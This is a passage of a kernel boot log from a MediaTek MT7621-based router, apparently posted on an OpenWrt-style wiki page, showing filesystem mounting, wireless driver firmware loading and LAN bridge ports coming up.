fixed/rgmii link mode [ 8.319686] mtk_soc_eth 1e100000.ethernet eth0: Link is Up - 1Gbps/Full - flow control rx/tx [ 8.328197] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready [ 8.459990] random: jshn: uninitialized urandom read (4 bytes read) [ 8.520088] random: jshn: uninitialized urandom read (4 bytes read) [ 8.555676] random: jshn: uninitialized urandom read (4 bytes read) [ 8.761072] mt7530 mdio-bus:1f lan1: configuring for phy/gmii link mode [ 8.793231] 8021q: adding VLAN 0 to HW filter on device lan1 [ 12.975658] UBIFS (ubi0:1): Mounting in unauthenticated mode [ 12.981566] UBIFS (ubi0:1): background thread "ubifs_bgt0_1" started, PID 571 [ 13.063599] UBIFS (ubi0:1): recovery needed [ 13.277947] UBIFS (ubi0:1): recovery completed [ 13.282571] UBIFS (ubi0:1): UBIFS: mounted UBI device 0, volume 1, name "rootfs_data" [ 13.290387] UBIFS (ubi0:1): LEB size: 126976 bytes (124 KiB), min./max. I/O unit sizes: 2048 bytes/2048 bytes [ 13.300276] UBIFS (ubi0:1): FS size: 111738880 bytes (106 MiB, 880 LEBs), journal size 5586944 bytes (5 MiB, 44 LEBs) [ 13.310853] UBIFS (ubi0:1): reserved for root: 4952683 bytes (4836 KiB) [ 13.317458] UBIFS (ubi0:1): media format: w4/r0 (latest is w5/r0), UUID B48B97F0-A8B0-48D8-8856-29DE8BC1BF05, small LPT model [ 13.330211] mount_root: switching to ubifs overlay [ 13.348715] overlayfs: upper fs does not support xattr, falling back to index=off and metacopy=off. [ 13.361717] urandom-seed: Seeding with /etc/urandom.seed [ 13.529242] procd: - early - [ 13.532216] procd: - watchdog - [ 14.117189] procd: - watchdog - [ 14.120659] procd: - ubus - [ 14.203119] urandom_read: 5 callbacks suppressed [ 14.203131] random: ubusd: uninitialized urandom read (4 bytes read) [ 14.215307] random: ubusd: uninitialized urandom read (4 bytes read) [ 14.222969] procd: - init - [ 14.663793] kmodloader: loading kernel modules from /etc/modules.d/* [ 14.684349] Loading modules backported from Linux version v5.4.27-0-g585e0cc08069 [ 14.691953] Backport generated by backports.git v5.4.27-1-0-gf6e8852f [ 14.715505] xt_time: kernel timezone is -0000 [ 14.766649] mt7621-pci 1e140000.pcie: bus=2 slot=1 irq=24 [ 14.772118] pci 0000:00:01.0: enabling device (0004 -> 0007) [ 14.777794] mt7603e 0000:02:00.0: enabling device (0000 -> 0002) [ 14.783972] mt7603e 0000:02:00.0: ASIC revision: 76030010 [ 14.876193] urngd: v1.0.2 started. [ 15.015734] random: crng init done [ 15.410357] mt7603e 0000:02:00.0: Firmware Version: ap_pcie [ 15.415984] mt7603e 0000:02:00.0: Build Time: 20160107100755 [ 15.449063] mt7603e 0000:02:00.0: firmware init done [ 15.627408] ieee80211 phy0: Selected rate control algorithm 'minstrel_ht' [ 15.637103] mt7621-pci 1e140000.pcie: bus=1 slot=0 irq=23 [ 15.642582] pci 0000:00:00.0: enabling device (0004 -> 0007) [ 15.648276] mt7615e 0000:01:00.0: enabling device (0000 -> 0002) [ 15.671872] ieee80211 phy1: Selected rate control algorithm 'minstrel_ht' [ 15.693526] PPP generic driver version 2.4.2 [ 15.699619] NET: Registered protocol family 24 [ 15.719223] kmodloader: done loading kernel modules from /etc/modules.d/* [ 15.756716] mt7615e 0000:01:00.0: HW/SW Version: 0x8a108a10, Build Time: 20180518100604a [ 15.756716] [ 16.063989] mt7615e 0000:01:00.0: N9 Firmware Version: 2.0, Build Time: 20200131181812 [ 16.168225] mt7615e 0000:01:00.0: CR4 Firmware Version: _reserved_, Build Time: 20190121161307 [ 21.030595] mtk_soc_eth 1e100000.ethernet eth0: Link is Down [ 21.046910] mtk_soc_eth 1e100000.ethernet eth0: configuring for fixed/rgmii link mode [ 21.055326] mtk_soc_eth 1e100000.ethernet eth0: Link is Up - 1Gbps/Full - flow control rx/tx [ 21.129185] mt7530 mdio-bus:1f lan1: configuring for phy/gmii link mode [ 21.153436] 8021q: adding VLAN 0 to HW filter on device lan1 [ 21.159545] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready [ 21.166912] br-lan: port 1(lan1) entered blocking state [ 21.172284] br-lan: port 1(lan1) entered disabled state [ 21.209222] device lan1 entered promiscuous mode [ 21.213956] device eth0 entered promiscuous mode [ 21.345142] mt7530 mdio-bus:1f lan2: configuring for phy/gmii link mode [ 21.377541] 8021q: adding VLAN 0 to HW filter on device lan2 [ 21.384157] br-lan: port 2(lan2) entered blocking state [ 21.389546] br-lan: port 2(lan2) entered disabled state [ 21.445109] device lan2 entered promiscuous mode [ 21.589070] mt7530 mdio-bus:1f lan3: configuring for phy/gmii link mode [ 21.621251] 8021q: adding VLAN 0 to HW filter on device lan3 [ 21.627408] br-lan: port 3(lan3) entered blocking state [ 21.632675] br-lan: port 3(lan3) entered disabled state [ 21.721083] device lan3 entered promiscuous mode [ 21.857063] mt7530 mdio-bus:1f wan: configuring for phy/gmii link mode [ 21.889249] 8021q: adding VLAN 0 to HW filter on device wan [ 24.921082] mt7530 mdio-bus:1f lan3: Link is Up - 100Mbps/Full - flow control rx/tx [ 24.928796] br-lan: port 3(lan3) entered blocking state [ 24.934042] br-lan: port 3(lan3) entered forwarding state [ 24.985108] IPv6: ADDRCONF(NETDEV_CHANGE): br-lan: link becomes ready


This website uses cookies. By using the website, you agree with storing cookies on your computer. Also you acknowledge that you have read and understand our Privacy Policy. If you do not agree leave the website.More information about cookies
  • Last modified: 2024/02/11 21:58
  • by 127.0.0.1